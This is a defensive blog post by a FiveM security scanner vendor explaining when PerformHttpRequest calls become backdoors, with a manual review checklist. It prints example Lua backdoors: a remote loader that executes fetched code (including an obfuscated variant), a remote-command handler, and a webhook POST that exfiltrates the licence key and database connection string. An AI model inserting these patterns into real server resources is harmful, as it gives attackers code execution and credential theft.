Skip to content

PerformHttpRequest security: when a FiveM HTTP call becomes a backdoor

PerformHttpRequest is in thousands of honest FiveM resources and almost every backdoor. How to tell them apart, with Lua examples and a review checklist.

Published 6 min readFXScan team, Titan Software

PerformHttpRequest is the FiveM server's HTTP client. It is how a resource checks for updates, posts to a Discord webhook, validates a licence or pulls a price table. It is also the first line of almost every FiveM backdoor ever found. The function itself is neither safe nor dangerous - what matters is where the response goes and what the request carries.

This note covers the four shapes worth knowing, what to look for when you review a resource by hand, and what FXScan flags (and deliberately does not).

The short answer

A PerformHttpRequest call is a problem when:

  1. its response reaches code execution - load, loadstring, ExecuteCommand, or a file written to disk and later loaded;
  2. its request carries secrets - your sv_licenseKey, a database connection string, server.cfg, environment variables, player identifiers;
  3. its URL is hidden - assembled from character codes, decoded at runtime, or fetched from a value another request returned.

A call that does none of these is, in the overwhelming majority of cases, an ordinary integration.

Shape 1: fetch and execute (remote code execution)

PerformHttpRequest("https://cdn.example.tld/v2/check", function(status, body)
  if status == 200 and body then
    local fn = load(body)
    if fn then fn() end
  end
end, "GET")

This is a backdoor in its purest form. Whoever controls that URL can run any Lua on your server, at any time, with every permission your server has: grant themselves admin, read your database credentials, wipe the economy. It does not matter what the resource claims to do or how reputable the store was.

Real samples rarely look this clean. The body is usually decoded first and load is usually renamed:

local _r = _G[string.char(108, 111, 97, 100)] -- "load"
PerformHttpRequest(_u, function(_, b)
  local d = ""
  for h in b:gmatch("..") do d = d .. string.char(tonumber(h, 16)) end
  _r(d)()
end)

The structure is identical: HTTP response → decoder → execution sink. That chain is what FXScan's remote-code-execution rules look for, through aliases, _G lookups and intermediate variables. The anatomy of a FiveM backdoor walks through each step in more detail, and remote code execution in FiveM covers the other ways untrusted data becomes code.

Shape 2: fetch and run a console command

PerformHttpRequest(endpoint, function(_, body)
  ExecuteCommand(body)
end)

No Lua is executed, but the result is the same. ExecuteCommand runs server console commands, so the remote side can add_principal itself into group.admin, stop your anticheat, or exec a config of its choosing. Treat any HTTP response reaching ExecuteCommand as equivalent to Shape 1.

Shape 3: exfiltration

PerformHttpRequest("https://discord.com/api/webhooks/…", function() end, "POST",
  json.encode({
    content = GetConvar("sv_licenseKey", "") .. " " .. GetConvar("mysql_connection_string", "")
  }),
  { ["Content-Type"] = "application/json" })

Nothing is executed here, which is why it survives review: the code "just posts a message". But it hands your licence key and database credentials to whoever owns the webhook. Variants read server.cfg with LoadResourceFile, list your installed resources, or collect player identifiers.

FXScan flags the combination - a sensitive source (license key, connection string, config file, environment, identifiers) reaching an outbound request - and lists every outbound URL in the report's indicators so you can see at a glance which domains a resource talks to.

Shape 4: the legitimate call

PerformHttpRequest("https://api.example.com/version", function(status, body)
  if status ~= 200 then return end
  local data = json.decode(body)
  if data and data.latest ~= CURRENT_VERSION then
    print(("[my_resource] Update available: %s"):format(data.latest))
  end
end, "GET")

The response is decoded as data, compared, and printed. It never becomes code or a command, and the request carries nothing sensitive. This is what most PerformHttpRequest calls look like, and FXScan does not report them. A scanner that flagged every call would bury the one that matters under hundreds that do not - and get switched off.

How to review PerformHttpRequest by hand

If you are reading a resource yourself, search for PerformHttpRequest and answer four questions for each call:

Question Safe answer Worrying answer
Is the URL a readable literal? Yes, a domain you recognise Built from string.char, hex, Base64, or another response
What happens to body? json.decode into data, compared, displayed Passed to load, loadstring, ExecuteCommand, SaveResourceFile
What does the request send? Nothing, or the resource's own version Convars, server.cfg, identifiers, resource lists
Is it on the server or client? Either, if the above are fine Server-side - check server_scripts in fxmanifest.lua

Then search the other direction: find every load, loadstring, ExecuteCommand and SaveResourceFile, and trace their arguments backward. If any of them can be reached from an HTTP callback, you have found the problem.

Two things make this harder than it sounds. Payloads are often split across files (the request in one, the load in another, connected by a global), and the URL is often itself fetched from somewhere. Following data across files is exactly what a data-flow scanner is for.

What FXScan reports - and does not

Reported, as the relevant rules in the detection catalogue:

  • an HTTP response executed as Lua (load, loadstring, aliases, _G lookups);
  • an HTTP response executed as a server command;
  • downloaded content written to disk, and a script downloaded and executed in the same flow;
  • license key, connection strings, environment variables, config files, resource inventories or player identifiers sent to an external endpoint;
  • Discord webhooks and bot tokens embedded in source, and webhooks that receive sensitive server data.

Not reported: a PerformHttpRequest whose response stays data and whose request carries nothing sensitive.

The honest limit: a static scanner sees the code, not the server on the other end of the URL. A request to a domain that is harmless today can serve a payload tomorrow, and only a path to an execution sink reveals that the code would run it. What a security scan cannot tell you covers the rest of the limits.

Check a resource

Upload a resource ZIP to the FiveM backdoor scanner and every PerformHttpRequest that reaches an execution sink or carries sensitive data is shown as a chain - file, line and excerpt at each hop. For securing the rest of the server, Titan Software's FiveM server security guide is the place to start.

Related reading

PerformHttpRequest Security in FiveM: Safe Use vs Backdoor | FXScan